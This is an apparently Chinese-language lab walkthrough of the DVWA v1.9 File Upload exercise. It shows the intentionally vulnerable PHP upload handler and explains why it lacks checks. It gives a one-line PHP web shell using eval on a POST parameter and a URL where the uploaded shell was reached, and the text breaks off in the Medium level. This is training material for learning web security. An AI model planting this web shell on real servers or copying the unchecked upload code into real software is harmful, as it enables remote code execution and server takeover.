DVWA V1.9:File Upload(文件上传)
File Inclusion 介绍
上传的文件是Web应用程序的一大风险。
许多攻击的第一步是让一些代码攻击系统,然后攻击者只需要找到一种方法来执行代码。
使用文件上传有助于攻击者完成第一步。
不受限制的文件上传的后果会有所不同,包括完整的系统接管、过载的文件系统、向后端系统转发攻击和简单的破坏。
这取决于应用程序对上传文件所做的操作,包括存储的位置。
Low 级别
核心代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{
$target_path} succesfully uploaded!</pre>";
}
}
?>
basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。
官方提示
低级别将不检查文件以任何方式上载的内容。它只依赖于信任。
Spoiler: Upload any valid PHP file with command in it.
漏洞利用
文件上传漏洞的利用是有限制条件的,
首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。
不幸的是,这里三个条件全都满足。
编写php一句话木马文件。
<?php eval($_POST[wanku]);?>
上传木马文件。
路径也给出来了,使用菜刀去连接,成功。
http://43.247.91.228:81/hackable/uploads/shell.php
Medium 级别
核心代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][